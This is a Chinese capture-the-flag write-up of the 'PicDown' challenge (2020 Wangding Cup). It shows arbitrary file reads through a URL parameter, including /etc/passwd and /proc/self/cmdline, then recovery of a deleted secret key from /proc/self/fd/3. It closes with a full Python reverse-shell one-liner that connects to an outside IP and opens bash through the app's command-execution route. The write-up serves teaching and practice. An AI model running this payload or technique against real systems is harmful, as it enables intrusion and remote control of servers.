[网鼎杯 2020 白虎组]PicDown(任意文件读取)

news2025/1/11 14:24:45

 

打开界面发现有一个get传参然后,尝试任意文件读取漏洞,/etc/passwd看一下,提示下载了一个jpg图片然后

打不开只能用 010查看一下信息

 看来是猜对了,然后

 如果日记没删掉可以查看历史记录  .bash_history呃呃呃差不到,那就看一下现在的进程

读取当前进程执行命令/proc/self/cmdline

python 2的app.py文件,直接读取

 

源码出来了,解析一下

 


from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"  //锁定文件目录
f = open(SECRET_FILE)  //直接打开文件
SECRET_KEY = f.read().strip() //读取
os.remove(SECRET_FILE)//然后删除文件
//注意这里没关闭文件就删除了


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')  //这个路由下
def manager():
    key = request.args.get("key")//get传参
    print(SECRET_KEY)//输出,但显示不出来
    if key == SECRET_KEY://看看是否相等
        shell = request.args.get("shell")
        os.system(shell)//传参shell
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

@app.route('/no_one_know_the_manager')  //这个路由下
def manager():
    key = request.args.get("key")//get传参
    print(SECRET_KEY)//输出,但显示不出来
    if key == SECRET_KEY://看看是否相等
        shell = request.args.get("shell")
        os.system(shell)//传参shell
        res = "ok"
    else:
        res = "Wrong Key!"

    return res

这一块可以分析一下,我们需要获得SECRET_KEY的值,然后使key等于,最后shell进行命令执行,但是看完以后那个文件被删除了,我们怎么获得呢?

此处可以通过../../../proc/self/fd/读取,这个目录包含了进程打开的每一个文件的链接

后面这个3怎么来的呢,是自己一个个试的,也可以爆破出来 

wLhTILlcJLljdKT/aHZn6BpfPLIqiC0a9udqLjaQRzA=

然后我们shell传一个python反弹shell的就可以

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('111.1.99.145',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

传的时候需要进行url编码

 端口监听,然后切换目录找flag.

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/118274.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python 现代控制理论 —— 梯度下降法实现的线性回归系统

线性回归是有监督学习中的经典问题,其核心在于找到样本的多个特征与标签值之间的线性关系。样本集中的第j个样本可被表示为: 特征向量:标签值: 而线性回归系统给出权重向量: 使得该样本的预测值为: 当所有…

Python采集某网站m3u8内容,美女我来了~

前言 嗨喽,大家好呀~这里是爱看美女的茜茜呐 又到了学Python时刻~ 环境使用: Python 3.8 Pycharm 模块使用: import requests >>> pip install requests import re 正则表达式 解析数据 import json 安装python第三方模块: win R 输入 cmd 点击确…

不止一面的百变 ACE

这个时代,可谓是云原生的黄金时代。 站在这个云原生的风口,年轻一代的开发者如何看待自己所处的环境?他们眼中的云原生未来是什么样? 今天我们就将走近一位年轻的“云原生原住民”,听听他作为开发者的成长经历。 War…

【python3】9.python高阶内容(上)_基础

9.python高阶内容(上)_基础 2022.12.27 python高阶内容(上)_基础9.1 字符串的高阶玩法 9.1.1 %百分号模式 %d:整数%i:整数%s:字符%f:小数 【方式1】:前面用格式占位,后面用具体的内容 name "莫烦…

Android设计模式详解之访问者模式

前言 访问者模式是一种将数据操作与数据结构分离的设计模式; 定义:封装一些作用于某种数据结构中的各元素的操作,它可以在不改变这个数据结构的前提下定义作用于这些元素的新的操作; 使用场景: 对象结构比较稳定&a…

大厂与小厂招人的区别,看完多少有点不敢相信

前两天在头条发了一条招人的感慨,关于大厂招人和小公司招人的区别。 大厂:有影响力,有钱,能够吸引了大量的应聘者。因此,也就有了筛选的资格,比如必须985名校毕业,必须35岁以下,不能…

基于DoIP使用CANoe对ECU进行诊断测试

伴随以太网引入到车载网络中,本文分享通过常用工具CANoe怎么样对ECU进行通信以及测试。 相比在车载CAN总线,以太网又有什么与众不同之处? 1、硬件接口卡(收发器) 以往车载CAN网络较常使用的是VN 16XX 系列,在连接ECU进行通信时,除了配置波特率也要进行通道分配: 而…

7个学习UI、UX设计一定要经历的步骤

我们不是一些有才华的设计师。我们天生就有艺术天赋。后天我们学会了设计技巧。设计的根本目的是解决问题。设计是不断发现和解决问题。 有许多设计领域:UI、UX.产品设计师.平面设计师.交互设计师.信息架构师等,所以要找出你最感兴趣的设计专业。 现在让…

美颜sdk动态贴纸技术、代码分析

目前,美颜sdk动态贴纸已经成了各大直播平台主播的必备“直播伴侣”,在其他的视频拍摄场景动态贴纸的热度同样很高,本篇文章小编将为大家深度盘点一下美颜sdk动态贴纸的技术实现以及代码。 一、多终端适配 对于如今的直播平台终端来说&#x…

CAPL学习之路-测试功能集函数(测试结构化)

用户可以使用如下函数在测试报告中对每一条测试用例设置结构化的输出内容 TestCaseDescription 添加测试用例的描述文本 此函数用于测试用例中,描述文本会添加在固定区域(测试用例title的下方)。多次调用该函数,描述文本会合并显示在固定区域。如果想让描述文本换行,可以…

爆火的Web3.0背后,百度营销如何抓住流量密码?

出品| 大力财经 文 | 魏力 AI、元宇宙、Web3.0、AIGC等新技术、新概念的加持,给传统的流量营销平台带来了前所未有的挑战。尤其是短视频时代的崛起,用户的使用习惯开始改变,完全改变了流量的逻辑和习惯。 从搜索引擎业务起家的百度&#x…

DoIP---车载以太网诊断方面边缘节点的路由策略分析

假期后开工第一天,规划好自己一天需要做的事情,按部就班完成每日任务,做好每日总结。 自己一天一个脚印,这不是鸡血,这是工作态度!!! 惯例分享一段喜欢的文字: 每个人…

目标检测之FCOS算法分析

网络结构 (图片来自原论文:FCOS: Fully Convolutional One-Stage Object Detection) 在ResNet50 Backbone中,C3,C4,C5C3,C4,C5C3,C4,C5是卷积特征图; 在FPN结构中,P3,P4,P5,P6,P7P3,P4,P5,P6,P7P3,P4,P5,P6,P7是最后用于预测的特…

2023跨境出海指南:泰国网红营销白皮书

作为东南亚第二大经济体,泰国一直是旅游和企业出海的热门之地。随着电商经济和互联网的发展,加上疫情的催化,泰国的社交媒体行业也得到了飞速发展,已经成为了主流营销方式之一。本文Nox聚星就从网红营销的角度,和大家探…

代码随想录-46-226.翻转二叉树

目录前言题目1.使用队列思路(定义变量)2. 本题思路分析:3. 算法实现4. pop函数的算法复杂度5. 算法坑点前言 在本科毕设结束后,我开始刷卡哥的“代码随想录”,每天一节。自己的总结笔记均会放在“算法刷题-代码随想录…

浅谈一下个人基于IRIS后端业务开发框架的理解

文章目录浅谈一下个人基于IRIS后端业务开发框架的理解现状方案具体实现BaseBizDataFilterSqlImp、RefApiUtil总结浅谈一下个人基于IRIS后端业务开发框架的理解现状由于国内使用基于M语言IRIS平台几乎都在医疗行业。医疗系统又非常的庞大和复杂。前期由于快速占领市场&#xff0…

珠城科技在创业板上市:IPO首日跌破发行价,市值相对蒸发约7亿元

12月26日,浙江珠城科技股份有限公司(下称“珠城科技”,SZ:301280)在深圳证券交易所创业板上市。本次上市,珠城科技的发行价格为67.40元/股,发行数量为1628.34万股,募资总额约为10.98亿元&#x…

java线程

1.创建线程和运行线程 1.1.方式一: 直接使用Thread线程对象创建线程 Slf4j public class TestThread {public static void main(String[] args) {//创建一个线程,并且指定线程名称为"t1"Thread thread new Thread("t1") {Overridepublic void run() {//…

基于JAVA springboot + MYSQL +VUE的项目管理系统(含数据库),包括工时统计、原型预览、效果图管理等

平台介绍 无鱼工时管理系统,是一款轻量级工时记录和管理工具,包括项目管理,工时上报,工时日报,工时统计等功能。 无鱼工时管理系统可通过员工工时上报的方式,来记录项目所花费的工时,帮助企业…

滑块验证 - 使用AJ-Captcha插件【超简单.jpg】

滑块验证实现一、后端1)首先引入maven:2)再在application.yml中自定义水印,直接启动后前端就可以请求接口了3)重写CaptchaCacheServiceRedisImpl①先新建一个文件夹②重写impl二、前端:1)复制文…